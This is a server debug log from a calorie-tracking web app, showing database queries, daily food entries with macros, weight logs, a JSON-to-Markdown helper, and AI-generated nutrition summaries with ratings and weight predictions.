    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T15:12:36.746Z server-connect:output summary: {
  summary: {
    rating: 8,
    summary: "The day's nutrition shows a good focus on protein intake, particularly with the inclusion of whey protein, which supports muscle development goals. Meal composition appears balanced with vegetables and carbohydrates. Consistent early morning gym sessions are a strong positive for recovery and fat loss. Overall, the routine aligns well with the stated objectives.",
    bad_points: [
      'The snack item might be high in carbohydrates and fats.',
      'Milk tea could be a source of added sugars.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle support.',
      'Presence of vegetables in the meal.',
      'Consistent early morning gym attendance.'
    ],
    suggestions: [
      'Consider a protein-rich snack option.',
      'Hydrate adequately throughout the day.',
      'Ensure meals are spaced appropriately to support energy levels.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T15:12:36.747Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T15:12:36.747Z server-connect:app Executing action step select
2025-12-18T15:12:36.747Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T15:12:36.748Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  },
  {
    id: 436,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)',
    replacements: 'Steamed baingan (without oil),Baingan bharta (less oil),Other low-calorie vegetable preparations (e.g., palak sabzi, lauki sabzi)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but oil content can increase calories. For muscle development, focus on lean protein sources.'
  },
  {
    id: 437,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5',
    replacements: 'Whole wheat roti (slightly more fiber),Jowar/Bajra roti (higher fiber, different nutrient profile),Brown rice (as an alternative carb source),Quinoa (higher protein carb source)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy. Quantity should be adjusted based on overall calorie and macro goals for muscle development.'
  },
  {
    id: 438,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea,Green tea,Herbal tea,Tea with skim milk',
    created_at: '2025-12-18T05:44:50.000Z',
    skip_level: 1,
    skip_reason: "Good source of protein and calcium from milk, and antioxidants from tea. Without sugar, it's a healthy beverage choice for muscle development."
  },
  {
    id: 439,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)',
    replacements: 'Black tea (no milk),Green tea,Herbal tea,Skim milk tea',
    created_at: '2025-12-18T09:41:14.000Z',
    skip_level: 1,
    skip_reason: "Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, it's a decent beverage."
  },
  {
    id: 440,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Hari Matar Dal',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 30,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Lentil soup (thinner consistency),Moong Dal (slightly lower calorie),Mixed vegetable dal (more fiber, less dal)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of plant-based protein and fiber, good for muscle development.'
  },
  {
    id: 441,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 0,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Brown rice (more fiber, slightly fewer net carbs),Quinoa (higher protein, more fiber),Cauliflower rice (significantly lower calorie and carbs)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 2,
    skip_reason: 'Provides energy for workouts, but white rice is a refined carb. Brown rice or quinoa would be better for sustained energy and more nutrients for muscle development.'
  },
  {
    id: 442,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Onion Kheera Salad',
    calories: 20,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 0,
    quantity: '1 plate (approx 100g)',
    replacements: 'Plain cucumber salad,Salad with more leafy greens',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Very low in calories, high in fiber and vitamins. Excellent for overall health and satiety without adding significant calories.'
  },
  {
    id: 443,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Amla',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)',
    replacements: 'Other low-calorie fruits (e.g., berries)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C and antioxidants, beneficial for recovery and overall health. Very low in calories.'
  }
]
2025-12-18T15:12:36.748Z server-connect:app Executing action step setvalue
2025-12-18T15:12:36.748Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T15:12:36.748Z server-connect:output var_total: 1403
2025-12-18T15:12:36.748Z server-connect:app Executing action step setvalue
2025-12-18T15:12:36.748Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T15:12:36.748Z server-connect:output var_consumed: 58
2025-12-18T15:12:36.748Z server-connect:app Executing action step setvalue
2025-12-18T15:12:36.748Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T15:12:36.748Z server-connect:output var_deficit: 997
2025-12-18T15:12:36.749Z server-connect:app Executing action step custom
2025-12-18T15:12:36.749Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T15:12:36.750Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1403',
    surplus_or_deficit: '997',
    status_flag: 2
  }
]
2025-12-18T15:12:37.710Z server-connect:app Executing action step identify
2025-12-18T15:12:37.710Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:37.710Z server-connect:output identity: 1
2025-12-18T15:12:42.025Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-18T15:12:42.026Z server-connect:app Executing action step identify
2025-12-18T15:12:42.026Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:42.026Z server-connect:output identity: 1
2025-12-18T15:12:42.026Z server-connect:app Executing action step restrict
2025-12-18T15:12:42.026Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:12:42.026Z server-connect:output restrict: undefined
2025-12-18T15:12:42.026Z server-connect:app Executing action step select
2025-12-18T15:12:42.026Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-18T15:12:42.028Z server-connect:output items_consumed_today: [
  {
    id: 433,
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)'
  },
  {
    id: 434,
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)'
  },
  {
    id: 435,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 436,
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)'
  },
  {
    id: 437,
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5'
  },
  {
    id: 438,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 439,
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)'
  },
  {
    id: 440,
    item_name: 'Hari Matar Dal',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 30,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g cooked)'
  },
  {
    id: 441,
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 0,
    quantity: '1 bowl (approx 150g cooked)'
  },
  {
    id: 442,
    item_name: 'Onion Kheera Salad',
    calories: 20,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 0,
    quantity: '1 plate (approx 100g)'
  },
  {
    id: 443,
    item_name: 'Amla',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)'
  }
]
2025-12-18T15:12:42.028Z server-connect:app Executing action step paged
2025-12-18T15:12:42.028Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-18T15:12:42.030Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 14,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-18T15:12:42.030Z server-connect:app Executing action step run
2025-12-18T15:12:42.030Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T15:12:42.031Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '| 438 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 439 | Milk Tea (without sugar) | 70 | 7 | 10 | 2 | 1 cup (approx 200ml) |\n' +
  '| 440 | Hari Matar Dal | 170 | 12 | 30 | 2 | 1 bowl (approx 150g cooked) |\n' +
  '| 441 | Rice | 195 | 4 | 43 | 0 | 1 bowl (approx 150g cooked) |\n' +
  '| 442 | Onion Kheera Salad | 20 | 1 | 5 | 0 | 1 plate (approx 100g) |\n' +
  '| 443 | Amla | 10 | 0 | 2 | 0 | 1 piece (approx 20g) |\n' +
  '\n'
2025-12-18T15:12:42.031Z server-connect:app Executing action step run
2025-12-18T15:12:42.031Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T15:12:42.032Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T15:12:42.032Z server-connect:app Executing action step setvalue
2025-12-18T15:12:42.032Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-18T15:12:42.032Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '| 438 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 439 | Milk Tea (without sugar) | 70 | 7 | 10 | 2 | 1 cup (approx 200ml) |\n' +
  '| 440 | Hari Matar Dal | 170 | 12 | 30 | 2 | 1 bowl (approx 150g cooked) |\n' +
  '| 441 | Rice | 195 | 4 | 43 | 0 | 1 bowl (approx 150g cooked) |\n' +
  '| 442 | Onion Kheera Salad | 20 | 1 | 5 | 0 | 1 plate (approx 100g) |\n' +
  '| 443 | Amla | 10 | 0 | 2 | 0 | 1 piece (approx 20g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T15:12:42.032Z server-connect:app Executing action step processWithGemini
2025-12-18T15:12:42.032Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-18T15:12:43.910Z server-connect:output health_summary: {
  summary: "The day's food intake shows a decent variety of Indian dishes, with a good inclusion of protein from the whey supplement and dal. However, the overall balance could be improved by ensuring more consistent protein sources throughout the day and potentially moderating carbohydrate-heavy snacks. The recent weight trend suggests a positive movement towards the goal.",
  rating: 7,
  good_points: [
    'Inclusion of whey protein post-workout supports muscle development.',
    'Presence of dal and sabzi provides some essential nutrients.',
    'Salad and amla add fiber and micronutrients.',
    'Consistent gym attendance is commendable.'
  ],
  bad_points: [
    'The initial snack (Aloo Matar Mix) is quite dense and may not be the most optimal choice for fat loss.',
    'Multiple milk tea servings, even without sugar, contribute to fluid intake but might not be the most nutrient-dense additions.',
    'Protein distribution could be more even across meals.'
  ],
  suggestions: [
    'Consider incorporating a protein-rich breakfast to start the day.',
    'Aim for more lean protein sources in main meals.',
    'Increase vegetable intake with meals to boost fiber and satiety.',
    'Ensure adequate hydration throughout the day, beyond milk tea.'
  ],
  predicted_weight_trend: 'A slight downward trend is likely.',
  predicted_weight: 70.1
}
2025-12-18T15:12:43.911Z server-connect:app Executing action step condition
2025-12-18T15:12:43.911Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-18T15:12:43.911Z server-connect:app Executing action step delete
2025-12-18T15:12:43.911Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-18T15:12:43.912Z server-connect:output delete: { affected: 1 }
2025-12-18T15:12:43.912Z server-connect:app Executing action step insert
2025-12-18T15:12:43.912Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-18T15:12:43.913Z server-connect:output insert: { affected: 1, identity: 35 }
2025-12-18T15:12:43.913Z server-connect:output condition: undefined
2025-12-18T15:12:44.158Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
